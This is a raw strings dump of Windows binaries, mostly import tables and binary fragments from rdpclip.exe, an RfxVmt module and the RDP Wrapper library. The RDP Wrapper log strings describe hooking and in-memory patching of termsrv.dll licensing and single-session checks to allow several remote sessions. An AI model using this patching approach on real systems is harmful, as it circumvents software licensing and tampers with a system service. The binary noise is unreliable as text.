5'6I6N6d6i6
7N7S7i7n7
8 8,8;8f8v8
9":':=:B:c:o:x:}:
;#;(;J;P;^;
;R<W<e<j<
=$=0=<=K=[=p=v=
> >%>Z>r>
?G?L?Q?r?
0;0@0E0V0]0q0
1L1d1v1{1
1&2>2K2t2
3%3P3U3Z3k3r3
3W4]4s4y4
5A6I6Y6m6
7$7U7m7~7
718I8i8
9/949J9j9o9}9
;);Z;_;m;r;
>/>F>K>P>
0c0h0~0
2F2K2Y2^2
6J6O6]6
6,717G7L7c7h7u7
778?8D8e8
9,9N9]9L;i;
<F=d=s=
=$>+>2>7><>I>q>x>
(0;0T0
4=4B4P4U4}4
5T5n5{5
91:8:=:B:G:d:
:J;O;];b;
;1<6<D<I<n<s<
=G=L=Y=^=
? ?-?b?
%0*0:0o0t0
0)1.1<1a1f1y1
2 2T2[2f2
3*393>3K3[3`3m3
52676E6J6
858G8L8
8)9.9D9I9p9u9
:h:m:z:
;	<K<j<q<
=$=-=2=?=n=s=
>N>S>`>
?"?c?j?q?
0'0,0:0?0L0
1a1f1t1y1
2&2M2o2t2
3/444I4d4
6-656B6u6
;$;);6;f;
=*=/=I=
>!>2>\>n>s>
+000N0S0i0n0
1-121[1|1
1_2d2i2v2
4D4I4V4
5=6B6O6y6~6
888?8c8j8u8
9"9W9\9r9w9
: :6:;:H:a:f:s:
;!;0;\;k;p;
;*<`<e<r<
=#>(>5>n>s>
?4?>?M?T?c?
0	1U1`1
232D2K2
2<3A3W3\3{3
5O5T5b5g5
5!6&64696^6c6q6v6
6V7[7h7
7:8E8J8X8]8y8~8
9(9/9J9c9z9
:0:::D:]:g:
;*;F;S;~;
<)<3<Q<a<
=&=O=^=j=w=
=+>^>c>x>
>!?&?3?m?|?
0!0&0+0D0H0d0h0p0t0
1,101L1P1l1p1
0004080<0@0D0H0L0P0T0X0\0`0d0h0l0p0t0x0|0
1 1$1(1,10141
!This program cannot be run in DOS mode.
`.data
.pdata
@.rsrc
@.reloc
ADVAPI32.dll
ntdll.DLL
KERNEL32.dll
USER32.dll
msvcrt.dll
SHELL32.dll
WINSTA.dll
WTSAPI32.dll
MPR.dll
RPCRT4.dll
WINSPOOL.DRV
ole32.dll
GDI32.dll
PrintUIEntryW
CLIPRDR
CTSMsg
CTSSyncWaitResult
CTSBufferResult
?ffffff
CLegacyClipUpdateHandler
CReliableClipUpdateHandler
AddClipboardFormatListener
RemoveClipboardFormatListener
GetUpdatedClipboardFormats
rdpclip.pdb
WATAUAVAWH
A_A^A]A\_
L$ SUVWH
x ATAUAVH
6H;wPu
A^A]A\
fD9#tII
sQfD9#u
!L$ E3
uOf9|$pt6L
uD9_8t!H
s WATAUAVAWH
A_A^A]A\_
UVWATAUAVAWH
pA_A^A]A\_^]
L$ SUVWH
WATAUH
 A]A\_
WATAUH
@A]A\_
UVWATAUAVAWH
pA_A^A]A\_^]
UVWATAUAVAWH
L9vPu7H
pA_A^A]A\_^]
WATAUAVAWH
L99uPH
}kD9|$`td3
0A_A^A]A\_
x ATAUAVH
A^A]A\
UVWATAUH
0A]A\_^]
t$ WATAUH
0A]A\_
ATAUAVH
0A^A]A\
x ATAUAWH
0A_A]A\
VWATAUAVH
@A^A]A\_^
WATAUH
VWATAUAVH
A^A]A\_^
p WATAUH
l$ VWATH
WATAUH
 A]A\_
VWATAUAVH
H!|$@L
A^A]A\_^
{@H9?tH3
9s(v=H
WATAUH
|$h;o`w*D
0A]A\_
H!\$(!\$ L
g@D9g8t
VWATAUAWH
A_A]A\_^
t$ WAUAVH
WATAUH
 A]A\_
@SUVWATAVAWH
 A_A^A\_^][
WATAUH
0A]A\_
t$ WATAUAVAWH
 A_A^A]A\_
UVWATAUH
 A]A\_^]
l$ VWATH
p WATAUAVAWH
0A_A^A]A\_
UVWATAUAVAWH
@A_A^A]A\_^]
VWAUAVAWH
A_A^A]_^
UVWATAUAVAWH
0A_A^A]A\_^]
WATAUAVAWH
A_A^A]A\_
UVWATAUAVAWH
H!t$pH!t$x!
A_A^A]A\_^]
@SUVWATAUH
A]A\_^][
WATAUAVAWH
A_A^A]A\_
VWATAVAWH
A_A^A\_^
UWAUAVAWH
yL9l$pH
@A_A^A]_]
x ATAUAVH
0A^A]A\
9t$Xu5
@SUVWATAUAWH
A_A]A\_^][
` AUAVAWH
0A_A^A]
@SUVWATAUAWH
A_A]A\_^][
t fA9*u
{@H9/t6H
WATAUH
f9*uVH
 A]A\_
t$ WATAUAVAWH
A_A^A]A\_
WATAUH
0A]A\_
UVWATAUAVAWH
`A_A^A]A\_^]
WAUAWH
@A_A]_
UVWATAUAVAWH
@A_A^A]A\_^]
UVWATAUAVAWH
0A_A^A]A\_^]
UVWATAUH
@A]A\_^]
SUVWATAUH
XA]A\_^][
UVWATAUH
0A]A\_^]
UVWATAVH
@A^A\_^]
p WATAUH
l$ VWATH
l$ VWATH
WATAUAVAWH
 A_A^A]A\_
H!\$PH
WATAUAVAWH
 A_A^A]A\_
WATAUAVAWH
L96t	H
 A_A^A]A\_
` AUAVAWH
0A_A^A]
x ATAUAWH
0A_A]A\
x ATAUAVH
@A^A]A\
WATAUH
0A]A\_
UVWATAUAVAWH
A_A^A]A\_^]
WATAUAVAWH
H!*H!h
9l$xu@
A_A^A]A\_
SUWATAUAVAWH
0A_A^A]A\_][
@SUVWATH
A\_^][
9L$(t*I
H;^Xu)H
WATAUH
t*D9f`r$D
0A]A\_
VWATAUAVH
A^A]A\_^
CP;Cpr
+Cp;Cts
@SUVWATAUAWH
G 9G(r-I;
A_A]A\_^][
@SUVWATAUH
u}9D$<uw3
A]A\_^][
WATAUH
 A]A\_H
VWATAUAVH
 A^A]A\_^
WATAUH
A;t$ts;I
t A;t$tr
 A]A\_
VWATAUAVH
0A^A]A\_^
K@H9_HuA
WATAUH
0A]A\_
WAUAVH
9\$pts9\$xtmH;
0A^A]_
\$ UVWATAUAVAWH
A_A^A]A\_^]
x ATAUAVH
0A^A]A\
p WATAUAVAWH
D+t$hH
0A_A^A]A\_
l$ VWATH
@SUVWATH
A\_^][
WATAVH
0A^A\_
WATAUAVAWH
 A_A^A]A\_
l$ VWATH
\$ UVWATAUH
A]A\_^]
_(L9g(u5H
WATAUH
0A]A\_
H9l$8t
@SUVWATH
0A\_^][
@SUVWATAUAVH
L9l$0t
L9l$`t
A^A]A\_^][
O ;)r.H
p ATAUAWH
 A_A]A\
x ATAUAVH
0A^A]A\
WATAUAVAWH
0A_A^A]A\_
WATAUAVAWH
 A_A^A]A\_
LcA<E3
u*9Q<|%
OpenThreadToken
RegCreateKeyExW
RegDeleteValueW
RegGetValueW
AllocateAndInitializeSid
FreeSid
RegOpenKeyExW
CheckTokenMembership
RegCloseKey
RegSetValueExW
ADVAPI32.dll
CreateMutexW
InitializeCriticalSection
GetLastError
HeapSetInformation
CloseHandle
FreeLibrary
WaitForSingleObject
GetCurrentThread
LoadLibraryW
LeaveCriticalSection
GetProcAddress
EnterCriticalSection
ProcessIdToSessionId
CreateEventW
DeleteCriticalSection
GetCurrentProcessId
KERNEL32.dll
DefWindowProcW
SetWindowLongPtrW
CreateWindowExW
SystemParametersInfoW
RegisterClassExW
GetClassInfoExW
GetWindowLongPtrW
LoadCursorW
PostMessageW
PostQuitMessage
LoadStringW
USER32.dll
??3@YAXPEAX@Z
??2@YAPEAX_K@Z
_wcsicmp
_vsnwprintf
__getmainargs
__C_specific_handler
_XcptFilter
_ismbblead
_cexit
_acmdln
_initterm
_amsg_exit
__setusermatherr
_commode
_fmode
__set_app_type
msvcrt.dll
?terminate@@YAXXZ
_unlock
__dllonexit
_onexit
SHChangeNotify
SHELL32.dll
WinStationQueryInformationW
WinStationIsSessionRemoteable
WINSTA.dll
WTSUnRegisterSessionNotification
WTSRegisterSessionNotification
WTSAPI32.dll
RtlVirtualUnwind
RtlLookupFunctionEntry
RtlCaptureContext
ntdll.dll
WNetCancelConnection2W
WNetAddConnection2W
MPR.dll
NdrServerCall2
NdrServerCallAll
RpcServerRegisterIfEx
RpcServerUnregisterIfEx
RpcServerListen
RpcBindingInqAuthClientW
RpcImpersonateClient
RpcServerUseProtseqEpW
RpcRevertToSelf
RPCRT4.dll
ClosePrinter
GetPrinterDataW
OpenPrinterW
WINSPOOL.DRV
TraceMessage
GetStartupInfoW
SetUnhandledExceptionFilter
GetModuleHandleW
QueryPerformanceCounter
GetTickCount
GetCurrentThreadId
GetSystemTimeAsFileTime
TerminateProcess
GetCurrentProcess
UnhandledExceptionFilter
TlsGetValue
GetModuleHandleExW
SetEvent
TlsSetValue
WideCharToMultiByte
CreateFileW
MultiByteToWideChar
ReleaseSemaphore
ResetEvent
OpenThread
CreateSemaphoreW
LocalAlloc
GetSystemInfo
WaitForMultipleObjects
TlsAlloc
LocalFree
TlsFree
CreateThread
SwitchToThread
FreeLibraryAndExitThread
WaitForSingleObjectEx
QueueUserAPC
ReadFileEx
CancelIo
WriteFile
GetOverlappedResult
DispatchMessageW
PostThreadMessageW
MsgWaitForMultipleObjectsEx
PeekMessageW
DestroyWindow
UnregisterClassW
SendMessageW
_purecall
WinStationVirtualOpenEx
WTSVirtualChannelClose
WTSVirtualChannelOpen
WTSVirtualChannelQuery
WTSFreeMemory
OleInitialize
OleUninitialize
ole32.dll
RtlMultiByteToUnicodeN
GlobalAlloc
GlobalUnlock
GlobalFree
GetFileAttributesW
GetFileInformationByHandle
FindClose
FindNextFileW
FindFirstFileW
GetTempFileNameW
DeleteFileW
CreateDirectoryW
GlobalLock
GlobalSize
GetStockObject
GDI32.dll
RegisterClassW
OpenClipboard
EmptyClipboard
SetClipboardData
RegisterClipboardFormatW
CloseClipboard
IsClipboardFormatAvailable
GetClipboardData
GetClipboardViewer
SetClipboardViewer
ChangeClipboardChain
IsWindow
CountClipboardFormats
EnumClipboardFormats
wcsrchr
wcschr
vswprintf_s
DragQueryFileW
SHFileOperationW
OleSetClipboard
OleIsCurrentClipboard
SetFilePointer
ReadFile
GetObjectW
GetPaletteEntries
CreatePalette
DeleteObject
CreateMetaFileW
PlayMetaFile
CloseMetaFile
GetMetaFileBitsEx
DeleteMetaFile
SetMetaFileBitsEx
GetClipboardFormatNameW
_wcsnicmp
ReleaseStgMedium
CoGetMalloc
OleGetClipboard
memset
memcpy
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!-- Copyright (c) Microsoft Corporation -->
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity
    version="5.1.0.0"
    processorArchitecture="amd64"
    name="Microsoft.Windows.TerminalServices.RDPClip"
    type="win32"
<description>RDP Data Redirection Monitor</description>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
    <security>
        <requestedPrivileges>
            <requestedExecutionLevel
                level="asInvoker"
                uiAccess="false"
            />
        </requestedPrivileges>
    </security>
</trustInfo>
</assembly>
This program must be run under Win32
`.itext
`.data
.idata
.edata
@.reloc
B.rsrc
Boolean
System
AnsiChar
Integer
Pointer
Cardinal
ShortString
	PAnsiChar0
string
PShortString
TTypeTable
PTypeTable
PPackageTypeInfoX
TPackageTypeInfo
	TypeCount
	TypeTable
	UnitCount
	UnitNames
PLibModule
TLibModule
Instance
CodeInstance
DataInstance
ResInstance
TypeInfo
Reserved
FastMM Borland Edition (c) 2004 - 2008 Pierre le Riche / Professional Software Development
An unexpected memory leak has occurred. 
The unexpected small block leaks are:
The sizes of unexpected leaked medium and large blocks are: 
 bytes: 
Unknown
AnsiString
UnicodeString
Unexpected Memory Leak
Ht Ht.
~]x[[)
                                                                
_^[YY]
XZ_^[X]X
zh-TW,zh-Hant,zh
es-ES_tradnl
nb-NO,nb,no
tg-Cyrl-TJ
az-Latn-AZ
uz-Latn-UZ
mn-MN,mn-Cyrl,mn
iu-Cans-CA
ha-Latn-NG
qps-ploc,en
qps-ploca,ja
zh-CN,zh-Hans,zh
nn-NO,nn,no
sr-Latn-CS
az-Cyrl-AZ
dsb-DE,dsb,hsb
uz-Cyrl-UZ
mn-Mong-CN
iu-Latn-CA
tzm-Latn-DZ
qps-plocm,ar
zh-HK,zh-Hant,zh
sr-Cyrl-CS
zh-SG,zh-Hans,zh
smj-NO,smj,se
zh-MO,zh-Hant,zh
bs-Latn-BA
smj-SE,smj,se
sr-Latn-BA
sma-NO,sma,se
sr-Cyrl-BA
sma-SE,sma,se
bs-Cyrl-BA
sms-FI,sms,se
sr-Latn-RS
smn-FI,smn,se
sr-Cyrl-RS
sr-Latn-ME
sr-Cyrl-ME
GetThreadPreferredUILanguages
SetThreadPreferredUILanguages
GetThreadUILanguage
0123456789ABCDEF
QQQQSV
,tfBHu
tCh|j@
GetLongPathNameW
_^[YY]
_^[YY]
TBytes
SysUtilsd
SysUtils
SysUtils
_^[YY]
_^[YY]
QQQQQQSVW3
QQQQQQSVW
	TErrorRec
TExceptType
etDivByZero
etRangeError
etIntOverflow
etInvalidOp
etZeroDivide
etOverflow
etUnderflow
etInvalidCast
etAccessViolation
etPrivilege
etControlC
etStackOverflow
etVariantError
etAssertionFailed
etExternalException
etIntfCastError
etSafeCallException
etMonitorLockException
etNoMonitorSupportException
SysUtils
TExceptRec
EClass
EIdent
PUnitHashEntry
TUnitHashEntry
	LibModule
UnitName
DupsAllowed
FullHash
TUnitHashArray
SysUtils
TModuleInfo
	Validated
UnitHashArray
TLanguageArray
SysUtils
LiteINI
INIValue
:INISection.:1
LiteINI
INISection
Values
INIFile
LiteINI
_^[YY]
_^[YY]
_^[YY]
Policy request failed
Policy request failed
>>> CSLQuery::Initialize
<<< CSLQuery::Initialize
rdpwrap
Loading configuration...
Error: Failed to load configuration
Initializing RDP Wrapper...
Error: Failed to load Terminal Services library
Error: Failed to detect Terminal Services version
Freezing threads...
Caching patch codes...
Hook SLGetWindowsInformationDWORD
Patch CEnforcementCore::GetInstanceOfTSLicense
Patch CSessionArbitrationHelper::IsSingleSessionPerUserEnabled
Patch CDefPolicy::Query
Hook SLGetWindowsInformationDWORDWrapper
Hook CSLQuery::Initialize
Resumimg threads...
>>> ServiceMain
<<< ServiceMain
>>> SvchostPushServiceGlobals
<<< SvchostPushServiceGlobals
LiteINI
SysUtils	Character
Windows
SysInit
System	RTLConsts
SysConst
StrUtils
ImageHlp
TlHelp32
Runtime error     at 00000000
0123456789ABCDEF
oleaut32.dll
SysFreeString
SysReAllocStringLen
SysAllocStringLen
advapi32.dll
RegQueryValueExW
RegOpenKeyExW
RegCloseKey
user32.dll
LoadStringW
MessageBoxA
CharNextW
kernel32.dll
lstrcmpiA
LoadLibraryA
LocalFree
LocalAlloc
GetACP
VirtualFree
VirtualAlloc
GetSystemInfo
GetVersion
GetCurrentThreadId
VirtualQuery
WideCharToMultiByte
MultiByteToWideChar
lstrlenW
lstrcpynW
LoadLibraryExW
IsValidLocale
GetSystemDefaultUILanguage
GetStartupInfoA
GetProcAddress
GetModuleHandleW
GetModuleFileNameW
GetUserDefaultUILanguage
GetLocaleInfoW
GetLastError
GetCommandLineW
FreeLibrary
FindFirstFileW
FindClose
ExitProcess
WriteFile
UnhandledExceptionFilter
SetFilePointer
SetEndOfFile
RtlUnwind
ReadFile
RaiseException
GetStdHandle
GetFileSize
GetFileType
DeleteCriticalSection
LeaveCriticalSection
EnterCriticalSection
InitializeCriticalSection
CreateFileW
CloseHandle
kernel32.dll
TlsSetValue
TlsGetValue
TlsFree
TlsAlloc
LocalFree
LocalAlloc
user32.dll
GetSystemMetrics
CharUpperBuffW
kernel32.dll
WriteProcessMemory
WaitForSingleObject
SuspendThread
SignalObjectAndWait
SetEvent
ResumeThread
ResetEvent
ReadProcessMemory
MultiByteToWideChar
LoadResource
LoadLibraryW
GetVersionExW
GetThreadLocale
GetProcAddress
GetModuleHandleW
GetModuleFileNameW
GetLocaleInfoW
GetLastError
GetFileAttributesW
GetDiskFreeSpaceW
GetCurrentThreadId
GetCurrentProcessId
GetCurrentProcess
GetCPInfo
InterlockedExchange
InterlockedCompareExchange
FreeLibrary
FindResourceW
FindFirstFileW
FindClose
EnumCalendarInfoW
CreateEventW
CloseHandle
kernel32.dll
GetModuleHandleExW
Thread32Next
Thread32First
CreateToolhelp32Snapshot
OpenThread
rdpwrap.dll
ServiceMain
SvchostPushServiceGlobals
000L0d0|0
1$141<1R1X1{1
2-2E2]2t2
3"3*323:3B3J3R3Z3b3j3r3z3
4N4V4^4J7`7q7
7*888e8m8r8
8@9F9L9W9
9f;u;|;
<0<@<J<a<v<
>*>3>:>@>U>a>~>
!0^0w0
3F4O4a4m4x4
6N7Y7h7
8K8k8l:
>	>'>I>T>$?(?.?2?<?O?S?Y?]?m?r?
0#020?0R0n0
;6;J;R;h;
0C0M0X0i0
1 1`1e1j1o1
303<3y3
4"4(4<4B4P4W4a4
4,4<4X4
4:5C5n6w639m<#?
3U4l4u4
4'5H5~5
617[7f7r7{7
8(828D8
:	;';E;c;};
<<<h<R=
3B3M3Z3b3j3r3
5'565X5g5
5?6N6z6
6C7X7n7
9 909A9M9[9e9
: :(:0:8:@:H:P:X:`:h:p:x:
; ;(;0;8;@;H;P;X;`;h;p;x;
<"<*<2<:<B<J<R<Z<b<j<r<
=&=.=6=>=F=N=V=^=
>$>1>9>F>>?
3Z3V5n5s5
6&7:7k7z7
9+9;9W9f9
:,<D<Q<c<
<"=F=\=
=R>d>v>
"0a0f0s0|0
0#111L1U1p1
2+2F2O2c2q2
2	3+3:3J3R3g3o3
5.5B5Y5p5
8!8'8/848
9$9(90949<9@9H9L9T9X9`9d9l9p9x9|9
: :$:,:0:8:<:D:H:P:T:`:d:l:p:x:|:
; ;$;,;0;8;<;D;H;P;T;\;`;h;l;t;x;
< <(<,<4<8<G<S<^<w<
=$=/=9=D=N=T=^=d=n=x=
>,>1>>>C>P>U>b>g>t>y>
?(?-?:???L?Q?^?c?p?{?
2.262C2S2h2
?-?U?s?
1V1Z1^1b1f1j1n1r1v1z1~1
1(2/2j2n2r2v2z2~2
364>4F4N4t4
9$979<9T9
:E:L:Q:e:
>4>C>P>Z>g>q>~>
?%?/?7?B?L?T?_?i?q?|?
0#0/0J0
3 3%343V3
:(:0:<:Z:f:n:u:|:
;(;-;2;?;I;S;c;r;};
<#<3<:<H<W<a<n<x<
=>=C=W=
>%>*>I>N>S>e>q>|>
?(?2???I?V?c?
0$0J0R0`0l0t0
1 1(1F1l1t1
2#2+292E2M2Z2e2n2w2
<!=,=<=I=P=
> >,>0>d>h>l>p>t>x>|>
? ?$?(?,?0?4?8?<?@?D?H?L?P?T?X?\?`?d?h?l?p?t?x?|?
0 0$0(0,0004080@0D0H0P0T0X0\0`0d0h0l0p0t0x0|0
1 1$1(1,1014181<1@1D1H1L1P1T1X1\1`1d1h1l1p1t1x1|1
2 2$2(2,2024282<2@2D2H2L2P2T2X2\2`2d2h2l2p2t2x2|2
3 3$3(3,3034383<3@3D3H3L3P3T3X3\3`3d3h3l3p3t3x3|3
4 4$4(4,4044484<4@4D4H4L4P4T4X4\4`4d4h4l4p4t4x4|4
5 5$5(5,5054585<5@5D5H5L5P5T5X5\5`5d5h5l5p5t5x5|5
6 6$6(6,6064686<6@6D6H6L6P6T6X6\6`6d6h6l6p6t6x6|6
7 7$7(7,7074787<7@7D7H7L7P7T7X7\7`7d7h7l7p7t7x7|7
8 8$8(8,8084888<8@8D8H8L8P8T8X8\8`8d8h8l8p8t8x8|8
9 9$9(9,9094989<9@9D9H9L9P9T9X9\9`9d9h9l9p9t9x9|9
: :$:(:,:0:4:8:<:@:D:H:L:P:T:X:\:`:d:h:l:p:t:x:|:
; ;$;(;,;0;4;8;<;@;D;H;L;P;T;X;\;`;d;h;l;p;t;x;|;
< <$<(<,<0<4<8<<<@<D<H<L<P<T<X<\<`<d<h<l<p<t<x<|<
= =$=(=,=0=4=8=<=@=D=H=L=P=T=X=\=`=d=h=l=p=t=x=|=
> >$>(>,>0>4>8><>@>D>H>L>P>T>X>\>`>d>h>l>p>t>x>|>
? ?$?(?,?0?4?8?<?@?D?H?L?P?T?X?\?`?d?h?l?p?t?x?|?
0 0$0(0,0004080<0@0D0H0L0P0T0X0\0`0d0h0l0p0t0x0|0
1 1$1(1,1014181<1@1D1H1L1P1T1X1\1`1d1h1l1p1t1x1|1
2 2$2(2,2024282D2H2L2P2T2\2`2d2h2l2p2t2x2|2
3 3$3(3,3034383<3@3D3H3L3P3T3X3\3`3d3h3l3p3t3x3|3
0%0)0/03090D0J0N0Z0c0l0x0
1$1=1g1t1
004080<0@0D0H0L0P0T0t0
141T187<7@7D7H7L7
8 8(80888@8H8P8X8`8h8p8x8
9 9(90989@9H9P9X9`9h9p9x9
9L:T:X:\:`:d:h:l:p:t:x:|:
< <$<(<,<0<4<8<<<@<D<H<L<P<T<X<\<`<d<h<l<p<t<x<|<
= =$=(=,=0=4=8=
!This program cannot be run in DOS mode.
!O}	!F/
!O}0!C/
!O}7!C/
!O}2!C/
!RichB/
`.rdata
@.data
.pdata
@.rsrc
@.reloc
SUVWAVH
A^_^][
|$ AVH
UATAUAVAWH
A_A^A]A\]
UATAUAVAWH
fD94Pu
t-D9l$du&3
t5L;=Y
t-D9t$du&3
A_A^A]A\]
p WATAUAVAWH
A_A^A]A\_
VWATAVAWH
A_A^A\_^
\$ UVWATAUAVAWH
fD9 t	H
A_A^A]A\_^]
x ATAVAWH
D8&t4H
D8d$Ht
A_A^A\
l$ VWATAVAWH
T$&@8t$&t9@8r
A81t@@8r
A_A^A\_^
WATAUAVAWH
@A_A^A]A\_
` AUAVAWH
t$8Hc0I
\$0D9=bu
A_A^A]
Hct$@H
sYHcL$HH
x ATAVAWH
< tD<	t@
 A_A^A\
H3E H3E
WATAUAVAWH
A_A^A]A\_
t$ WAVAWH
fffffff
@UATAUAVAWH
!t$(H!t$ I
A_A^A]A\]
@UATAUAVAWH
A_A^A]A\]
|$ UATAUAVAWH
A_A^A]A\]
|$ UATAUAVAWH
A_A^A]A\]
UVWATAUAVAWH
A_A^A]A\_^]
WATAUAVAWH
gfffffffH
D8L$Ht
A_A^A]A\_
x AUAVAWH
A_A^A]
@SUVWH
@SUVWH
@SUVWAVH
A^_^][
LcA<E3
ATAVAWH
 A_A^A\
t$ WATAUAVAWH
D!l$h3
0A_A^A]A\_
@SUVWATAVAWH
PA_A^A\_^][
WATAVH
@USVWH
AUAVAWH
0A_A^A]
UVWATAUAVAWH
A_A^A]A\_^]
VWATAVAWH
 A_A^A\_^
\$ UVWATAUAVAWH
D9l$dtXH
HcD$PH;
HcD$PH;
A_A^A]A\_^]
D82u&H
D8t$Ht
VWATAVAWH
 A_A^A\_^
x ATAVAWH
 A_A^A\
VWATAVAWH
A_A^A\_^
UVWATAUAVAWH
G0Hc	H
A_A^A]A\_^]
D8eoupH
UVWATAUAVAWH
pA_A^A]A\_^]
WATAUAVAWH
 A_A^A]A\_
AUAVAWH
0A_A^A]
@SVWATAUAVAWH
L!|$@L!
D$HHcH
A_A^A]A\_^[
SVWATAUAVAWH
0A_A^A]A\_^[
WATAVH
@A^A\_
H(H9J(u
bad allocation
Unknown exception
Sunday
Monday
Tuesday
Wednesday
Thursday
Friday
Saturday
January
February
August
September
October
November
December
MM/dd/yy
dddd, MMMM dd, yyyy
HH:mm:ss
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
CorExitProcess
FlsAlloc
FlsFree
FlsGetValue
FlsSetValue
InitializeCriticalSectionEx
CreateEventExW
CreateSemaphoreExW
SetThreadStackGuarantee
CreateThreadpoolTimer
SetThreadpoolTimer
WaitForThreadpoolTimerCallbacks
CloseThreadpoolTimer
CreateThreadpoolWait
SetThreadpoolWait
CloseThreadpoolWait
FlushProcessWriteBuffers
FreeLibraryWhenCallbackReturns
GetCurrentProcessorNumber
GetLogicalProcessorInformation
CreateSymbolicLinkW
SetDefaultDllDirectories
EnumSystemLocalesEx
CompareStringEx
GetDateFormatEx
GetLocaleInfoEx
GetTimeFormatEx
GetUserDefaultLocaleName
IsValidLocaleName
LCMapStringEx
GetCurrentPackageId
GetTickCount64
GetFileInformationByHandleExW
SetFileInformationByHandleW
 !"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~
MessageBoxW
GetActiveWindow
GetLastActivePopup
GetUserObjectInformationW
GetProcessWindowStation
__based(
__cdecl
__pascal
__stdcall
__thiscall
__fastcall
__vectorcall
__clrcall
__eabi
__ptr64
__restrict
__unaligned
restrict(
 delete
operator
`vftable'
`vbtable'
`vcall'
`typeof'
`local static guard'
`string'
`vbase destructor'
`vector deleting destructor'
`default constructor closure'
`scalar deleting destructor'
`vector constructor iterator'
`vector destructor iterator'
`vector vbase constructor iterator'
`virtual displacement map'
`eh vector constructor iterator'
`eh vector destructor iterator'
`eh vector vbase constructor iterator'
`copy constructor closure'
`udt returning'
`local vftable'
`local vftable constructor closure'
 new[]
 delete[]
`omni callsig'
`placement delete closure'
`placement delete[] closure'
`managed vector constructor iterator'
`managed vector destructor iterator'
`eh vector copy constructor iterator'
`eh vector vbase copy constructor iterator'
`dynamic initializer for '
`dynamic atexit destructor for '
`vector copy constructor iterator'
`vector vbase copy constructor iterator'
`managed vector copy constructor iterator'
`local static thread guard'
 Type Descriptor'
 Base Class Descriptor at (
 Base Class Array'
 Class Hierarchy Descriptor'
 Complete Object Locator'
1#SNAN
1#QNAN
Policy query: %S
Policy rewrite: %i
Policy result: %i
Policy request failed
>>> CSLQuery::Initialize
%d.%d.%d.%d-SLInit
bServerSku.x64
bRemoteConnAllowed.x64
bFUSEnabled.x64
bAppServerAllowed.x64
bMultimonAllowed.x64
lMaxUserSessions.x64
ulMaxDebugSessions.x64
bInitialized.x64
bServerSku
SLInit
SLInit [0x%p] bServerSku = %d
bRemoteConnAllowed
SLInit [0x%p] bRemoteConnAllowed = %d
bFUSEnabled
SLInit [0x%p] bFUSEnabled = %d
bAppServerAllowed
SLInit [0x%p] bAppServerAllowed = %d
bMultimonAllowed
SLInit [0x%p] bMultimonAllowed = %d
lMaxUserSessions
SLInit [0x%p] lMaxUserSessions = %d
ulMaxDebugSessions
SLInit [0x%p] ulMaxDebugSessions = %d
bInitialized
SLInit [0x%p] bInitialized = %d
<<< CSLQuery::Initialize
Loading configuration...
Configuration file: %S
Error: Failed to load configuration
LogFile
Initializing RDP Wrapper...
Error: Failed to load Terminal Services library
ServiceMain
SvchostPushServiceGlobals
Base addr:  0x%p
SvcMain:    termsrv.dll+0x%p
SvcGlobals: termsrv.dll+0x%p
Error: Failed to detect Terminal Services version
Version:    %d.%d.%d.%d
Freezing threads...
SLPolicyHookNT60
SLGetWindowsInformationDWORD
Hook SLGetWindowsInformationDWORD
SLPolicyHookNT61
%d.%d.%d.%d
LocalOnlyPatch.x64
Patch CEnforcementCore::GetInstanceOfTSLicense
LocalOnlyOffset.x64
LocalOnlyCode.x64
PatchCodes
SingleUserPatch.x64
Patch CSessionArbitrationHelper::IsSingleSessionPerUserEnabled
SingleUserOffset.x64
SingleUserCode.x64
DefPolicyPatch.x64
Patch CDefPolicy::Query
DefPolicyOffset.x64
DefPolicyCode.x64
SLPolicyInternal.x64
Hook SLGetWindowsInformationDWORDWrapper
SLPolicyOffset.x64
New_Win8SL
SLPolicyFunc.x64
SLInitHook.x64
Hook CSLQuery::Initialize
SLInitOffset.x64
New_CSLQuery_Initialize
SLInitFunc.x64
Resumimg threads...
>>> ServiceMain
<<< ServiceMain
>>> SvchostPushServiceGlobals
<<< SvchostPushServiceGlobals
bad exception
BTREE.dll
ServiceMain
SvchostPushServiceGlobals
CreateFileW
GetFileSize
ReadFile
SetLastError
SetFilePointer
WriteFile
CloseHandle
GetModuleHandleExW
GetCurrentThreadId
GetCurrentProcessId
CreateToolhelp32Snapshot
Thread32First
OpenThread
ResumeThread
SuspendThread
Thread32Next
GetModuleHandleW
FindResourceW
LoadResource
LoadLibraryExW
WriteProcessMemory
GetCurrentProcess
GetModuleFileNameW
LoadLibraryW
GetProcAddress
ReadProcessMemory
KERNEL32.dll
wsprintfA
USER32.dll
GetLastError
WideCharToMultiByte
MultiByteToWideChar
GetCommandLineA
IsDebuggerPresent
IsProcessorFeaturePresent
HeapAlloc
EncodePointer
DecodePointer
RtlPcToFileHeader
RaiseException
HeapFree
IsValidCodePage
GetACP
GetOEMCP
GetCPInfo
ExitProcess
GetProcessHeap
GetStdHandle
GetFileType
DeleteCriticalSection
GetStartupInfoW
GetModuleFileNameA
QueryPerformanceCounter
GetSystemTimeAsFileTime
GetEnvironmentStringsW
FreeEnvironmentStringsW
RtlCaptureContext
RtlLookupFunctionEntry
RtlVirtualUnwind
UnhandledExceptionFilter
SetUnhandledExceptionFilter
InitializeCriticalSectionAndSpinCount
TerminateProcess
TlsAlloc
TlsGetValue
TlsSetValue
TlsFree
RtlUnwindEx
EnterCriticalSection
LeaveCriticalSection
GetStringTypeW
LCMapStringW
HeapReAlloc
OutputDebugStringW
HeapSize
FlushFileBuffers
GetConsoleCP
GetConsoleMode
SetStdHandle
SetFilePointerEx
WriteConsoleW
                          
abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
                          
abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
.?AVbad_alloc@std@@
.?AVexception@std@@
.?AVtype_info@@
.?AVbad_exception@std@@
!This program cannot be run in DOS mode.
`.data
.idata
@.rsrc
@.reloc
RfxVmt.pdb
.CRT$XCA
.CRT$XCU
.CRT$XCZ
